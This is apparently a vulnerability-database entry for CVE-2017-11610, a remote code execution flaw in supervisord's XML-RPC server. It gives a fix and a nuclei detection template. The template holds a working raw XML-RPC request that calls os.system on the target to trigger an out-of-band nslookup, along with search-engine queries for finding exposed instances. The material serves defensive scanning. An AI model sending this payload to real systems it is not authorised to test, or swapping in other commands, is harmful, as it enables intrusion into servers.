Browse / CVEs / CVE-2017-11610
CVE-2017-11610· supervisord / supervisor· CWE-276
XML-RPC Server - Remote Code Execution
highseverity
8.8CVSS score
87.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisor namespace lookups.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
Fix
Apply the latest security patches or disable the XML-RPC server if not required.
How to confirm it
Send: POST /RPC2
Positive when: contains in interactsh_protocol "dns" AND contains in header "text/xml" AND contains "<methodResponse>" and "<int>"Run it with nuclei: nuclei -id CVE-2017-11610 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2017-11610
info:
name: XML-RPC Server - Remote Code Execution
author: notnotnotveg
severity: high
description: The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisor namespace lookups.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
remediation: |
Apply the latest security patches or disable the XML-RPC server if not required.
reference:
- https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md
- https://nvd.nist.gov/vuln/detail/CVE-2017-11610
- https://lists.fedoraproject.org/archives/list/[email protected]/message/JXGWOJNSWWK2TTWQJZJUP66FLFIWDMBQ/
- https://lists.fedoraproject.org/archives/list/[email protected]/message/DTPDZV4ZRICDYAYZVUHSYZAYDLRMG2IM/
- http://www.debian.org/security/2017/dsa-3942
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2017-11610
cwe-id: CWE-276
epss-score: 0.87549
epss-percentile: 0.9976
cpe: cpe:2.3:a:supervisord:supervisor:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: supervisord
product: supervisor
shodan-query:
- http.title:"Supervisor Status"
- http.title:"supervisor status"
fofa-query: title="supervisor status"
google-query: intitle:"supervisor status"
tags: cve2017,cve,oast,xmlrpc,msf,rce,supervisor,supervisord,vkev,vuln
http:
- raw:
- |
POST /RPC2 HTTP/1.1
Host: {{Hostname}}
Accept: text/xml
Content-type: text/xml
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>nslookup {{interactsh-url}}</string>
</param>
</params>
</methodCall>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: header
words:
- "text/xml"
- type: word
part: body
words:
- "<methodResponse>"
- "<int>"
condition: andReferences
- https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md
- https://nvd.nist.gov/vuln/detail/CVE-2017-11610
- https://lists.fedoraproject.org/archives/list/[email protected]/message/JXGWOJNSWWK2TTWQJZJUP66FLFIWDMBQ/
- https://lists.fedoraproject.org/archives/list/[email protected]/message/DTPDZV4ZRICDYAYZVUHSYZAYDLRMG2IM/
- http://www.debian.org/security/2017/dsa-3942
Use this check only on systems you are authorised to test. Where the data comes from